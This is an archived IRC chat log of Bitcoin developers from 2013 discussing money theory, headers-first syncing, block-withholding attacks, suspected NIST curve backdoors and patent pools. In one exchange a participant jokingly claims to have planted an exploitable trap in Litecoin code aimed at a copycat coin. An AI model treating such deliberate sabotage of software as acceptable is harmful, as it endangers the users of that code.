11:02 < petertodd> andytoshi: back then I don't think people fully understood how hard re-enablingthem would be
11:03 < adam3us1> gmaxwell: what next. google nacl (sandbox execution of x86 binaries). activex for bitcoin :)
11:03 < andytoshi> well, i'd hope that we donet have OP_OPENNETWORKPORT ;)
22:32 < gmaxwell> e.g. who cares if you use dollars as your daily spending money. Gold exists and is 'deflationary' (maybe, ignoring your collapse argument)... so if the argument is true why isn't the economy collapsing due to people rapidly converting every free dollar they have to gold?
22:33 < andytoshi> the claim is that once people have their gold, they stop converting anything to anything..
22:33 < andytoshi> which is arguably even sillier
22:36 < gmaxwell> I think a lot of this ultimately stems from the fact that there are inherent unfairnesses and inefficiencies in the whole concept of durable money.
22:36 < gmaxwell> But the notion that money itself is a purely artificial construct and perhaps not perfect in every way, is so far outside of peoples thinking that they get stuck in weird dissonance.
22:38 < gmaxwell> At least in the US our society has placed money in a position of existing as a kind of independant good
decoupled from the productivity and happiness of people that we just don't really have the right perspective needed to critically question the behavior and role of money in our society.
22:39 < gmaxwell> In perhaps the same way that societies with slavery seemed to have a generally difficult time reasoning about the pratical and ethical implications of it.
22:40 < andytoshi> what is interesting is that if you look at most any society throughout history, they always come up with some sort of currency, and these currencies are so similar that we recognize them today as money
22:40 < andytoshi> perhaps the same is true of slavery
22:41 < andytoshi> it is more than ordinary can't-think-outside-the-box dissonance because this really does seem baked into human thinking
22:42 < andytoshi> the problem of finding a consistent measure of value is universal, and money solves this extremely well ..
22:42 < andytoshi> and then it is represented by some physical good or token, so it naturally assumes a reality of its on
22:42 < andytoshi> own*
22:43 < andytoshi> bitcoin is fascinating because it is not physical and acts in highly non-physical ways, but it still solves the problem that money does
22:44 < gmaxwell> Yea, I don't mean to suggest that we shouldn't have money. Money enables a lot of awesome stuff, but it has a bunch of odd behavior too.
22:45 < gmaxwell> E.g. with durable money you can do things like do one really useful thing, and then never do anything useful again and have society provide for you... in a way which is highly non-linear, e.g. doing N x 1/N useful things is in no way assured to do anywhere near as well for you esp if the GDP is growing.
22:46 < gmaxwell> simply because you can get a bunch of money, and then loan it out to get exponentially more.
22:47 < andytoshi> otoh, when you invest it or lend it out, even though society is supporting you, the wealth they are throwing at you does not act like your wealth
22:48 < andytoshi> so even though you are (unfairly) becoming very wealthy, there is a larger efficiency gain for society
22:48 < andytoshi> in principle, anyway
22:48 < gmaxwell> which is an effect which is _entirely_ decoupled from the whole idea of wanting to be able to do "barter at arms length"... maybe a good effect or a bad effect, but it seems like an inherent effect in money as our societies have envisioned it.
22:48 < andytoshi> this is true, these things are very hard to decouple mentally
22:49 < andytoshi> that, i think, is ordinary human dissonance
22:50 < gmaxwell> yea, I'm not good at it myself, and personally ... perhaps I'm not a great person to question this system because I've benefited from it tremendously, at least if I measure my wellbeing relative to most of the world.
22:51 < andytoshi> mm, myself as well
22:52 < andytoshi> and tbh i think very little about the function of money, despite thinking about bitcoin a lot ... my economic curiosity mostly lies in what happens when machines are able to exchange value
22:52 < andytoshi> suppose we actually had a market with rational actors -- and these actors never needed to sleep or relax
22:53 < andytoshi> the -wizards discussions are fascinating, because maybe they could even be 100% evilly selfish, and even so they could trust each other
22:53 < gmaxwell> yea, well, most of my thinking only really extends to the realization that it's actually more complicated then we take for granted.
22:55 < andytoshi> i think humans avoid a ton of the complexity by relying on biological impulses to trust each other
22:55 < andytoshi> and on the police :)
22:55 < gmaxwell> andytoshi: well, yea, but also somewhat scarry too if you go too wizards-wank about it. Imagine now that you have uploaded minds in computers... then everything you're thinking about also applies to "people" too, at least in theory. Which sounds neat, but then you wonder about the social implications of things like ZK-SNARKS meaning that it could actually
be physically impossible to tell a convincing lie, no matter how good the ...
22:55 < gmaxwell> ... justification.
22:57 < andytoshi> wow, i have not considered that ... i need to write some scifi about this, try to explore the social implications
22:58 < andytoshi> (not good scifi, or even anything i'd publish .. just something to organize my own thoughts)
23:00 * andytoshi grabs another beer
23:02 < gmaxwell> the nearest I've seen to touching any of these matters is in the latter half of "Rapture of the Nerds" (Doctorow, Stross
both of whom I think are crappy writers, but I enjoy their books) there is a part where the people enter into a bar which is I/O isolated from the rest of the universe, the reason for this is because the bar implements a contracts
system where violating the rules is impossible (if you violate the rules the bar ...
23:02 < gmaxwell> ... rewinds state to undo the violation)
23:03 < gmaxwell> most of this stuff hasn't been touched in scifi because the authors just really have no clue it's possible. PCP theorm is still pretty recent and the implications really haven't percolated all that far.
23:05 < andytoshi> i just encountered its philosophy today in 'quantum computing since democritus', i don't have a clear idea of it yet
--- Log closed Mon Dec 30 00:00:39 2013
--- Log opened Mon Dec 30 00:00:39 2013
00:59 * andytoshi-logbot is logging
00:59 < andytoshi> <.<
01:04 < pigeons> there is a book called The Anarchistic Colossus by A E van Vogt where immediate punishment from "Kirlian computers" enables an anarchistic society, perhaps "weak" and ripe for alien invasion...
01:28 < gmaxwell> heh xkcd "Extremely Strong Goldbach conjecture"
01:31 < BlueMatt> gmaxwell: lol
01:45 * midnightmagic CHEERS for comment about Stross + Doctorow being crappy writers!!
01:45 < midnightmagic> i couldn't even fnish the atrocity archives.
01:49 < gmaxwell> they really are, also rudy rucker is a crappy writer too.. but again some neat ideas.
01:51 < midnightmagic> Snow Crash couldn't been a short story. He has these brilliant oases of ideas and diction in the middle of whole empty deserts of shitty prose
01:52 < midnightmagic> *could've
01:56 < midnightmagic> .. which pretty much defines most modern scifi these days. Oh Stephenson, how your cryptonomicon disappointed.
01:57 < gmaxwell> I'm mostly fine with Neal Stephenson's writing. He's long winded, and well, perhaps I'm not the person you should look to for criticism of that.
01:57 < gmaxwell> it does annoy me that I can't ever recommend his books to most people because they're simply too long.
01:57 < gmaxwell> If you can't read a long (say 80kword) novel in a single sitting then you basically can't enjoy his books.
02:08 < midnightmagic> I read Tommyknockers in basicaly one sitting.
02:19 < midnightmagic> I gots staying power. Blindsight in one sitting. 50+ chapters of HPMoR in one sitting. Greg Bear's blood music in one. Herbert's Hellstrom's Hive and Dune, Chalker's old Wellworld novels, Four Lords of the Diamond, Stross' Friday ripoff (Saturn's Children I think? I'm trying to forget,) and entire collections of Lovecraft even though it was written
at the turn of the century and is clunky.
02:21 < andytoshi> nice -- i've had neuromancer and cryptonomicon sitting on my HD for several years now
02:21 < midnightmagic> Neuromancer was an easy couple hours. Heck I can read comp sci textbooks in one go (makes studying them later easier)
02:22 < andytoshi> i can read textbooks for hours on end, with fun books i always feel like i ought to be doing something useful if i'm gonna stare at text for several hours
02:22 < andytoshi> ...and yet, i have no problem with IRC...
02:22 < midnightmagic> But Snow Crash. Damn. Half that stuff didn't even belong in there. Or Gaiman's American Gods. What the hell man. Thunderbird's super-powerful but the christian deities don't make an appearance?
02:22 < midnightmagic> bah
02:24 < midnightmagic> Nooooo they're making a series out of it
02:33 < nsh> American Gods was pretty consistently good reading for me
03:35 < maaku> andytoshi, money has not taken consistent form over time
03:35 < maaku> that is to say what we call 'money' has been changing in nature time after time throughout human history
03:35 < maaku> with measurable effects
03:38 < gmaxwell> (there was a reason that I qualified my statements with 'durable money', tough perhaps thats not the best definition for the effects I was talking about)
03:39 < maaku> yeah you know my bias on that, but even so it's not like historical money can be put in just two categories
03:40 < maaku> its weird and bizaare how many fundamentally different systems we used for the same function, and retroactively we tend to think what we use now has always been the case
03:43 < gmaxwell> not just always been the case, but is the only kind that can exist.
03:43 < maaku> yeah
03:43 < gmaxwell> which is also somewhat amusing because we currently do use other kinds of money too, we just don't reconize it as such.
18:17 < TD> probably. TPM runs on the LPC bus, traditionally.
18:18 < TD> though you may already have a TPM without knowing?
18:18 < Luke-Jr> I guess I should look at the header..
18:18 < TD> did you actually check?
18:18 < Luke-Jr> yes
18:18 < Luke-Jr> it was on my "list of things I lose in this upgrade"
18:18 < TD> i mean, there might be one integrated into some other chip
18:18 < TD> did you check if the kernel can see one?
18:18 < Luke-Jr> ASRock Z87 Extreme4
18:19 < Luke-Jr> not sure what I'd be looking for there
18:22 < TD> i think on some systems there is a /proc/tpm
18:22 < TD> but i dunno if that's always true
18:22 < TD> it might require a modprobe tpm first
18:22 < TD> not that it really matters if you have a hard disk
18:23 < TD> it's only an issue for people with log-structured file systems or SSDs
18:25 < maaku> TD: so long as it remains computable on consumer hardware, no such thing as overkill
18:25 < Luke-Jr> maaku: but you'll slow down my compiles!
18:25 < Luke-Jr> <.<
18:26 < Luke-Jr> TCSD TDDL ERROR: Could not find a device to open!
18:26 < Luke-Jr> guess I have none
18:29 < Luke-Jr> Newegg has no TPM stuff it seems
18:34 < gmaxwell> ebay.
18:39 < Emcy> pond reads similar to bitmessage
18:42 < maaku> Emcy: similar, but better imho
18:43 < Emcy> that means its less likely to catch on
18:44 < maaku> Emcy: ? I don't think bitmessage has any significant mindshare to speak of
18:44 < TD> it's not very similar
18:44 < maaku> if anything Pond is probably more well known (outside of bitcoin community)
18:45 < Emcy> just a joke. the good stuff gets passed up for the first thing that sort of works all the time
18:46 < Emcy> http://www.wired.com/opinion/2013/11/this-is-how-the-internet-backbone-has-been-turned-into-a-weapon decent overview
18:46 < Emcy> "weaponised" is a fair way to put it
19:09 < adam3us> jgarzik said on the zc thread "would rather see automatic mixing and privacy built into every client." you know actually that would be quite a reasonable fungibility fix in the face of coin validation fungibility risks - if its generally default and non-opt-in feature. then the default reaction of biz will be to reject coin validation or they lose sales
19:11 < Emcy> if its not ubiquitous then using such measures automatically makes you the target you never wanted to be
19:11 < Emcy> so better that it is
19:17 < warren> I might have set a trap in the Litecoin code months ago that breaks in an obscure way if used with feathercoin's parameters...
19:18 < warren> but they are having trouble getting the ordinary functionality to work
19:18 < Emcy> heh
19:18 < Emcy> what does feathercoin do anyway
19:19 < warren> Emcy: copy > rename > add new logo > pump with lots of videos
19:19 < Emcy> also why dont you play with scrypt until gpu mining is actually infeasible, as claimed at the beginning
19:20 < sipa> i don't think many litecoin users still value that idea
19:20 < warren> or rather, it isn't broken with feathercoin's parameters, just becomes exploitable
19:20 < warren> I might have done this.
19:22 < Emcy> that was litcoins whole conceit though
19:22 < Emcy> to run on all those shitty semprons in bitcoin mining rigs
19:22 < warren> Emcy: Litecoin - sponsored by AMD
19:23 < Emcy> a-are you joking
19:24 < warren> maybe
19:24 < sipa> after AMD bought ATI, suddenly litecoin became viable on GPUs
19:24 < sipa> it all makes sense!
19:26 < Emcy> shiiiiiiiiiit
19:26 < Emcy> wonder how it goes on those APUs
19:26 < warren> not too well. relies on memory bandwidth
19:27 < Emcy> so with ddr3 2500 or whatever then
19:27 < warren> might be decent on a PS4, if it were hackable
19:27 < Emcy> thats still well below gddr i suppose
19:32 < Emcy> i wonder what hardware security the new consoles will have
19:32 < Emcy> might make decent miner as you say if someone can break it
19:33 < Emcy> or a nice little PC
19:36 < warren> I was joking earlier, and a lot of this isn't wizards material.
21:52 < Luke-Jr> [00:24:48] <sipa> after AMD bought ATI, suddenly litecoin became viable on GPUs <-- hahahahaa
23:41 < warren> https://bitcointalk.org/index.php?topic=337294
23:41 < warren> anything to edit/add?
--- Log closed Mon Nov 18 00:00:00 2013
--- Log opened Mon Nov 18 00:00:00 2013
--- Day changed Mon Nov 18 2013
00:54 < Luke-Jr> warren: it's not clear that doing just the first item gets some reward
00:55 < Luke-Jr> nor that 2 and/or 3 might be done without 1, in case 1 is impossible
00:55 < Luke-Jr> 3 should probably be split up between writing a fix, and getting it merged
00:55 < Luke-Jr> ie, someone who writes a fix but doesn't have the patience for getting stuff merged should still get something
00:55 < warren> Luke-Jr: devs have power to decide apportionment, so whatever.
00:56 < Luke-Jr> warren: yes, but people might see the list and give up because they don't know how to code
00:56 < Luke-Jr> it should be clear that non-developers can contribute toward 1 for part of the bounty
18:11 < petertodd> so... headers first
18:12 < sipa> i was discussion this with petertodd
18:12 < sipa> and this question came up
18:12 < sipa> what if you know about multiple header chains whose tips are better than what you currently have
18:13 < sipa> perhaps there's this situation: A-B-c, A-B-d-e
18:13 < sipa> eh wait
18:13 < petertodd> no, that's correct
18:13 < sipa> A-B-c and A-d-e-f
18:13 < sipa> and you have A and B, but not c d e f
18:14 < sipa> do you only try to fetch blocks for d e f, or do you also try to fetch c?
18:14 < petertodd> and the same problem *is* present on A-B-c, A-B-d-e
18:15 < sipa> agree, but the case with a reorganization is more revealing probably
18:15 < petertodd> so my scenario was, suppose we have an attacker who is mining blocks, but decided to withhold the actual contents. with headers first you'll find out abotu the headers, and hence the chain, but I argue you have to try to download all tree tips simultaneously, so that you can advance your fully verified tree so the majority of hashing power can move forward
18:16 < sipa> if the case becomes A-B-c vs A-d-e-f-g-h-i-j-k-l-m
18:16 < sipa> then it's probably easier to see that you should fetch c too, just to keep up with a potentially best chain, while you're fetching the potentially even better one
18:17 < petertodd> right, because d could be invalid, as an example
18:17 < sipa> indeed
18:17 < sipa> though you did already verify PoW, so that is very unlikely
18:17 < petertodd> well... :)
18:18 < petertodd> could be all sorts of crazy economic incentives, for instance if you figures out how to get the other hashing power trying to extend different tips
18:18 < sipa> we shouldn't assume it's valid of course
18:18 < petertodd> main thing is we want an algorithm that's going to get everyone to come to consensus about what fully validated chain tip to continue mining on, regardless of what crazyness is going on with the headers
18:19 < sipa> yup
18:19 < petertodd> like, suppose we had a bug where a block somehow made the networking code crash, leaving a connection in a state of limbo
18:19 < petertodd> plausible with threads for instance
18:20 < petertodd> oh, shit, this makes the blockwithholding strategy even worse you know:
18:21 < petertodd> suppose we have A-B-C-d-e-f-g-h-i, and we have fully verified up to i and are trying to make j
18:21 < petertodd> now, if there's ever any slowdown in block distribution, we could wind up with hashing power split on A-B-C, A-B-C-D, A-B-C-D-E etc.
18:23 < sipa> well the best rational strategy is probably to mine empty blocks on top of the best header chain you know
18:24 < petertodd> yes unfortunately, modulo fees
18:24 < sipa> and never build on blocks when you know there's better header chains
18:24 < sipa> modulo fees indeed
18:24 < petertodd> but that means if someone ever loses a block entirely, we're screwed
18:25 < sipa> ewww
18:25 < petertodd> lovely 'eh?
18:26 < petertodd> also, suppose we have a fork: A-B-c and A-B-d, now bandwidth is split 50:50 downloading c and d, which makes it more likely someone will create block e, which divides the bandwidth again...
18:27 < sipa> well, if block propagation is even comparable in speed to mining speed, there is certainly a problem
18:27 < sipa> headers-first doesn't change that
18:28 < sipa> but the fact that someone could create a header, announce it, and never announce the block... worries me
18:28 < petertodd> not in general no, but in this specific case yes because of how the code would now download blocks simultaneously - that wouldn't happen before
18:28 < petertodd> although, actually, "relay all blocks including orphans" may have this affect
18:28 < petertodd> s/affect/effect/
18:29 < sipa> right, but since you *know* the header strucutre already, you can make smarter decisions in what to download
18:29 < petertodd> well, but are they actually smarter decisions?
18:29 < sipa> than what?
18:30 < petertodd> then simultaneous - again, thinking about the possibility of attack or network affecting bugs
18:32 < petertodd> for instance, suppose you always tried to download the next block in the longest chain first, and then switch to another block on a timeout, but kept mining in case the next block was invalid - if you found a block, other miners doing the same thing wouldn't build upon it because it wasn't the longest chain
18:34 < petertodd> you could have 90% of the hashing power wasting it's time, while 10% is extending a slightly longer chain just by making all your nodes artifically slow down the download of the blocks in your extension
18:47 < warren> http://www.reddit.com/r/Bitcoin/new/ please vote up "Can you fix the LevelDB database corruption bug affecting Bitcoin-Qt on some platforms? 5+ BTC bounty."
18:49 < Emcy> if you guys can find it why do you think anyone else can
18:49 < Emcy> and if they can, why are they not already here
18:49 < theymos> You don't need to be a Bitcoin wizard to find a bug in a database library.
06:47 < jtimon> exactly, you deserve to receive something in exchange for whatever you previously provided to society
06:47 < deantrade> But for as long as you just hold the money, its like you just did all of that work in exchange for nothing, so the rest of society benefited at your expense
06:47 < jtimon> but why society must allow you to think what you want in exchange for as long as you want with no cost?
06:48 < deantrade> There is no gauruntee the money will have the same market purchasing power in the future.
06:48 < deantrade> There is no one forcing anyone to accept some amount of money for anything, its free trade
06:49 < jtimon> yeah, if many savers hoard, it will have an even greater market value in real terms
06:49 < jtimon> I'm assuming monetary monopoly all along
06:49 < jtimon> for example, a gold standard
06:49 < deantrade> Unless a new form of money is created that has better features, then the old money becomes worthless
06:49 < jtimon> there's some force here
06:50 < deantrade> Monetary monopoly: money monopolies do not last either. They have lasted long time durations, but not forever.
06:50 < jtimon> with a free monetary market edflation is not that harmful because trade and investment can just occur in other currencies
06:51 < jtimon> with a free monetary market, let's say real capital yields drop to 1%
06:51 < deantrade> I agree, people can just chose to invest in whatever they want. It would just be fraudulent to create a currency where you say it will have one inflation plan, and then later to do some different plan.
06:51 < jtimon> savers don't lend or invest bitcoins anymore
06:52 < jtimon> it doesn't matter, other savers will be happy to lend their frc at 0%interest
06:52 < deantrade> How was the gold standard forced? Or do you mean in our current situation there is force?
06:52 < jtimon> in our current situation there is force, yes
06:53 < jtimon> and in the gold standard was the same monpoly
06:53 < jtimon> the legal tender was 1 gold mark or whatever
06:53 < deantrade> Savers only options right now is [US Tresuries, Stocks, or Land], gold, bitcoins, what else? (In brackets = in a bubble)
06:53 < jtimon> dependin on the country
06:54 < jtimon> real capital
06:54 < deantrade> What did that mean though "legal tender"? At one time it just meant "You can only call it a dollar if it is this many ounces of gold".
06:54 < jtimon> stocks could be counted as real capital, but I agree they're probably still in bubble prices
06:55 < jtimon> the problem is when you can only trade using thalers, whatever the quantity of silver that defines them
06:55 < deantrade> In a free market where banks/money was not a monopoly, "banks" would not be protected from default (their owners would be held liable to pay up), and banks would offer higher interest rates to money market accounts
06:56 < jtimon> interest rates would not be manipulated
06:56 < deantrade> But in the world as it is now, banks just print money and lend out at way lower interest rates than savers would be willing to accept.
06:56 < deantrade> And then banks offer pretty much 0% interest rate to savers.
06:57 < deantrade> So savers are stuck having to invest in US Treasuries, stocks, land (and gold/bitcoins for the smart ones)
06:57 < jtimon> but I think that with enough mutual credit currencies (usually 0% interest) and demurrage currencies like freicoin interests would tend to zero in a free market
06:58 < jtimon> I agree the current situation sucks
06:58 < jtimon> I believe it will end up just as Gesell predicted: hyperinflation
06:58 < deantrade> This is also Austrian Economist's prediction.
06:58 < jtimon> https://www.community-exchange.org/docs/Gesell/en/neo/part3/13.htm
06:59 < jtimon> Gesell, studied bohem-bawerk, he has more to do with Menger than with Keynes
07:00 < jtimon> in fact, he's closer to Menger than Mises in certain senses, like rejecting the notion of so called "intrinsic value"
07:00 < deantrade> Factories and farms etc... they don't just exist and produce the same amount of products at the same efficiency no matter the owner.
07:00 < jtimon> a dogma very often widespread among "austrians"
07:00 < deantrade> I reject "intrinsic value".
07:01 < deantrade> Value is only relative to one who acts to attain goals.
07:01 < jtimon> but the markets forces the operators of the "unefficient capitals" to change hands
07:02 < jtimon> that's good, unfortunately many goldbugs (and even bitcoiners) don't think like you
07:02 < deantrade> Right... and poor people who prove to be capable of operating them, but don't have the capital to buy them at the moment will look for a loan.
07:02 < jtimon> yes
07:03 < deantrade> And there are many rich people who die, and their children blow the money on drugs etc.
07:03 < jtimon> yes
07:04 < jtimon> there's no need to redistribute wealth from rich to poor, but it's completely necessary to stop redistributing wealth from the poor to the rich
07:04 < deantrade> So productive people live and die. And when a poor productive person sees that they could vastly improve their life by just loaining some amount of money at some interest rate, then they will take the offer.
07:04 < jtimon> the problem is that some monetary systems impede that interest rate to be zero
07:05 < jtimon> which would represent optimal prosperity: maximum capital accumulation for society
07:06 < jtimon> would be the best position possible for workers (comparatively with capital)
07:07 < jtimon> well, negative itnerest rates would be "unfair for capital" but they're not natural even with demurrage
07:08 < deantrade> Interest rates should simply be chosen by the market. Interest rates are chosen by two people who come together with differing resources and contracts to deliver at a later time, and fully mutually voluntary acceptence of the contract.
07:08 < jtimon> interest rates are voluntary and determined by the market with freicoin too
07:09 < jtimon> nobody forces you to dodge the demurrage fee by lending or investing
07:09 < deantrade> I'm not disagreeing with that. I'm disagreeing with the idea that somehow having a money supply that is decreasing is necessarily bad, particularly when that money is just one competing currency when there are many others to chose from.
07:10 < jtimon> I think it's bad only if it's the only money
07:11 < jtimon> I don't think bitcoin will hurt society with its deflation because it will never be monopoly money
07:11 < jtimon> it just won't be as useful to society as it could be if it had demurrage
07:12 < deantrade> Useful to attain what?
07:12 < jtimon> economic development and prosperity
07:12 < deantrade> Economic development and prosperity of which group of people?
07:14 < jtimon> for everyone that produces and consumes
07:14 < jtimon> the higher the itnerest rates, the more everyone pays for what he consumes
07:15 < deantrade> Not necessarily.
07:15 < jtimon> the higher the interest rates the lower the precentage of good prices come from worker wages
07:15 < jtimon> name a single consuming good that doesn't include interest in its final selling price
07:17 < jtimon> for some that % is as high as 50%
07:17 < deantrade> When you pay over time with high interest rate, if the money supply is increasing more rapidly than the interest rate, then later when you pay the interest you potentially have to exchange a lower market value than what the money was worth when you agreed to the deal.
07:18 < jtimon> that's why the inflation premium is a compenent of interest
07:19 < jtimon> sadly inflation indexes are usually manipulated nowdays
07:19 < deantrade> 2% CPI haha
07:20 < deantrade> Fred Monetary Base has been increasing at >30% per year for 5 years now (since 2008 housing financial crisis)
07:20 < jtimon> what I mean is that most people pay far more interests than they receive, even when they haven't borrowed any money
07:20 < wumpus> no matter the economic arguments for it, no one would have bought into bitcoin if it had demurrage; many people were already not taking it seriously for being "virtual", let alone if your holdings magically evaporate over time
07:21 < jtimon> wumpus yes, probably something like bitcoin was destined to be the first crypto
07:21 < wumpus> a future cryptocurrency could do it differently, but bitcoin had to be like this to work
07:21 < jtimon> there was a time when people believed that money couldn't be made of paper, now some people doubt that it can be made of bits
07:21 < wumpus> for example freicoin, had it not included the strange centralized contribution for every mined block
07:22 < jtimon> probably the first p2p currency had to have fully p2p distribution too, no matter how wasteful that is
07:23 < deantrade> Wasteful?
07:23 < jtimon> in terms of real resources, yes
07:23 < jtimon> it's subsidizing security
07:23 < deantrade> How is giving out practically worthless bitcoins (initially worthless) wasteful?
07:24 < wumpus> decentralized systems are by definition less efficient than centralized systems, but compensate for this with added robustness
07:24 < jtimon> no, mining like we're doing now is wasteful
07:24 < jtimon> wumpus, but when the 21 M are issued, fees should provide enough security
07:25 < deantrade> Mining is essential. Prove of work that you earned the money. You'd rather the bitcoins were handed out willy nilly like helocopter Ben?
07:25 < wumpus> I have decided for myself that I like the robustness more than the efficiency, but your opinion may vary
07:25 < jtimon> I prefer that they're are given to noprofits you freely decide to donate to like in freicoin, obviously
07:26 < jtimon> http://foundation.freicoin.org/
07:26 < jtimon> by the way, crypto-currencies related projects can be listed too even if they're not legally non-profits
07:27 < deantrade> You say "robustness", as if that doesn't also make it efficient. Bitcoin is an extremely efficient value storage and value ownership transfer system.
05:53 < HM2> article floating around praising Satoshis choice of the k1 curve over r1
05:53 < HM2> currently top of HN
05:53 < HM2> I thought the parameters to r1 were selected deterministically
05:54 < HM2> oh well
06:06 < sipa> HM2: with a 20-byte seed
06:06 < sipa> making the whole deterministic part quite suspicious :)
06:11 < HM2> You'd think NIST would have revealed the seed in light of recent events
06:16 < sipa> the seed isn't secret
06:16 < sipa> it is just long
06:16 < sipa> meaning it can have been selected by a brute force search for vulnerable parameters
06:17 < HM2> why couldn't they have gone for the classic value of pi
06:19 < sipa> or the string "5" or something
06:21 < HM2> sipa, how's your secp256k1 project coming along?
06:21 < HM2> has it reached peak performance?
06:41 < sipa> haven't worked on it for a while
06:56 < warren> HM2: crazy litecoin users are using it
06:58 < HM2> good good
07:26 < adam3us> HM2: nist probably dont know the real seed its probably in an HSM at NSA
07:26 < adam3us> HM2: i think its basically confirmed that it was backedoored; werent some of hte snowden docs published or seen by schneier and greenwald including the internal project summary bragging of th successful backdooring of nist process
07:31 < HM2> There haven't actually been any proof that NIST standards have been backdoored.
07:31 < HM2> I think the NSA presentations made a very strong indication that that was the case
07:32 < HM2> even the EC based RNG that is 'backdoored' is only a 'could be' backdoor (which is enough not to use it)
07:32 < HM2> for all we know the private parameters used to seed that could be lost and not in the hands of the NSA
07:33 < HM2> at least as far as I'm aware
07:33 < HM2> it's hard to keep a aprised of all the revelations concisely.
07:33 < HM2> *apprised
07:34 < HM2> the NSA has no reason to brag about their capabilities though, so it's very likely everything is as feared
07:35 < adam3us> HM2: so basically as i understood it from skimming the news over time, the level of confirmation was there were internal nsa docs in the snowden trove, that were read as indicating yes ec dbrng was backdoored
07:36 < HM2> no, not exactly. it gave a year
07:36 < adam3us> HM2: and particularly as the design seemed very contrived, and the backdoor potential was identified by ferguson et al at microsoft and published some years back, thats pretty much the end of it
07:36 < HM2> and the EC RNG was released that year
07:37 < adam3us> HM2: how does that confirm or refute the strong indication that could is actually was (backdoored)?
07:37 < HM2> I'm not sure who the target audience for the slides released was
07:37 < HM2> if your target is politicians you might want to brag
07:37 < HM2> if your target is foreign ally agencies maybe you want to brag
07:38 < HM2> maybe not
07:38 < HM2> they were all very vague, sadly not a single specific cryptocapability has been leaked afaik
07:38 < adam3us> HM2: i think its internal, but there was seeming lots of internal bragging, as it is about vying for recognition and internal project funding and kudos etc
07:39 < HM2> right
07:39 < adam3us> HM2: snowden made some relatively specific statements about crypto capacities that are lacking - ie public key crypto is good, if no impl mistakes and no hw / sw backdoors
07:40 < adam3us> is this channel logged publicly.. i found a petertodd amazon hosted log fragment; is there a full log searchable?
07:40 < HM2> there was mention of a 'major breakthrough' a few years back that hinted at cracking capability
07:41 < HM2> no idea
07:41 < HM2> you should assume it's all logged and kept in my personal blockchain
07:42 < HM2> in order for me to quickly fake something you said 3 months ago, i'd need a computer the size of jupiter ;)
07:45 < adam3us> is warren hand here the warren togami founder of fedora?
07:45 < adam3us> seems potentially apt that he could start bitcoin staging - the fedora to bitcoins rhel/centos
07:46 < adam3us> (tho he seems attached to making litecoin work in that role at present)
07:46 < HM2> I don't know. They're all faceless ninjas to me.
07:48 < adam3us> i read some old wired article that mentioned charles lee, and that warren togami had stepped in as lead dev of litecoin... then it occurred to me, hey that probably was warren who was talking about litecoin dev speed and healthy competition to bitcoin pushing chnges into bitcoin indirectly yesteray :)
07:49 < adam3us> it'd be easy enough to fork litechoin and put hashcash-sha256^2 and more work but defined method to put in the 1:1 one way peg allowing bitcoin transfer in place of mining
07:50 < jgarzik_> adam3us, yes, warren == warren togami of Fedora. He and I both worked at Red Hat on Fedora, too.
08:12 < adam3us> erm so patents - has anyone tried to think about a model for preventing/deterring bitcoin related startups from patenting obvious and core things?
08:14 < adam3us> starting to rear its really ugly head unfortunately and i am pissed; people may not know the history but crytpocurrency ecash was littered with mothballed patents stifling products - i personally know a solid biz ecash guy who was blocked from doing something chaum related due to that patent
08:14 < jgarzik_> adam3us, bitcoin is a laggard in this area
08:15 < adam3us> particularly when digicash went bankrupt the VC type investors sold the patents to a random big co infospace that sat n them until they expired
08:15 < jgarzik_> adam3us, coming from Linux, we were really proactive about registering trademarks and patents for open stuff, then donating those to a foundation, preemptively
08:16 < adam3us> jgarzik_: i was thinking the same, maybe bitcoin founation can do something lke the IBM anti-patent abuse pool
08:17 < adam3us> jgarzik: the patent pool could have teeth in that anyone who tries to assert a patent outside of the pool, is denied use of any patent in the pool; but free for everyone else
08:17 < jgarzik_> adam3us, http://www.openinventionnetwork.com gathers patents from many sources, licenses them royalty-free, and can be used for patent defense through Mutually Assured Destruction
08:18 < jgarzik_> MAD: company A and company B cross-license each other's patents. If a violation occurs, the other party revokes the patents they licensed
08:18 < adam3us> jgarzik: good, ibm mad like approach (microsoft was scared of accidentally tripping on IBM mad which is a good sign that its a good approach)
08:18 < jgarzik_> works with patent pools too
08:18 < jgarzik_> IBM is a fscking patent behemoth
08:19 < jgarzik_> surprisingly they are pretty benevolent in the software patent space, compared to many others, even though they don't have to be
08:19 < adam3us> jgarzik: they also have some kind of MAD scheme going that microsoft were more scared of than GNU
08:19 < adam3us> jgarzik: so whether its bitcoin foundation or the open thing you mentioned, or IBM: my point is there are no bitcoin patents in an open pool
08:20 < adam3us> jgarzik: and the various bitcoin startups are probably right now creating a raft of them to be "defensive" which is actually lethal
08:21 < HM2> it's not really lethal
08:21 < adam3us> jgarzik_: as when some of them start to go under the VCs that care more about money than bitcoin will sell them to the highest bidder
08:21 < HM2> mutually ensured destruction generally works quite well
08:21 < adam3us> HM2: viz digicash history and infospace
08:21 < adam3us> HM2: yes but there is no MAD, and bitcoin foundation has no patents
08:22 < jgarzik_> for MAD to work, you have to have patents others want
08:22 < HM2> Isn't the foundation just a benevolent observor/advisor?
08:22 < adam3us> jgarzik_: i think its past time the foundation or someone suggest strongly to all the bitcoin startups that they form a MAD pool, to preclude their patents falling into the wrong hands if they go out of business
08:22 < HM2> It doesn't even own the trademark does it?
08:23 < jgarzik_> yeah TM is an issue too, though I think MagicalTux was working on getting the TM for community benefit
08:23 < adam3us> jgarzik_: bitcoinFOO startup may have a patent for "defensive" reasons, bt when it goes under and is sold to a patent troll, it becomes offensive ... good intentions of bitcoinFOO no longer count
08:23 < jgarzik_> adam3us, agreed
08:23 < HM2> the Linux Foundation springs to mind
08:24 < adam3us> jgarzik_: or imagine worse things; US government seizes patents from the foundation as part of a court judgement, and asserts patent to make bitcoin-qt infringing
08:25 < jgarzik_> adam3us, so unlikely it's not worth worrying about
08:25 < adam3us> jgarzik_: patents should be abolished, but until then a bitcoin MAD pool should be created and probably should be held by an international, mulit-jurisdictional entity
08:27 < adam3us> jgarzik_: debatable, weak point on my part; main point bitcoin community probaby defensively needs a MAD pool in the hands of someone trustworthy and aligned with the community; i cant say more probably but i expect anyone with involvement with a commercial bitcoin entity has seen moves to patent something "defensively"
08:27 < jgarzik_> adam3us, agreed
08:27 < jgarzik_> adam3us, agreed (RE abolished + MAD pool)
08:28 < HM2> I'd worry more about the trademark
08:28 < adam3us> jgarzik_: so me = crypto guy, who could chase that down in foundation terms and make it happen?
08:28 < jgarzik_> adam3us, patrick murck, maybe
08:28 < HM2> someone could just buy it up the TM and just stick the name on whatever centralised currency they wish
08:28 < HM2> buy up the*
08:29 < jgarzik_> adam3us, tell him I pointed you to http://www.openinventionnetwork.com as an example
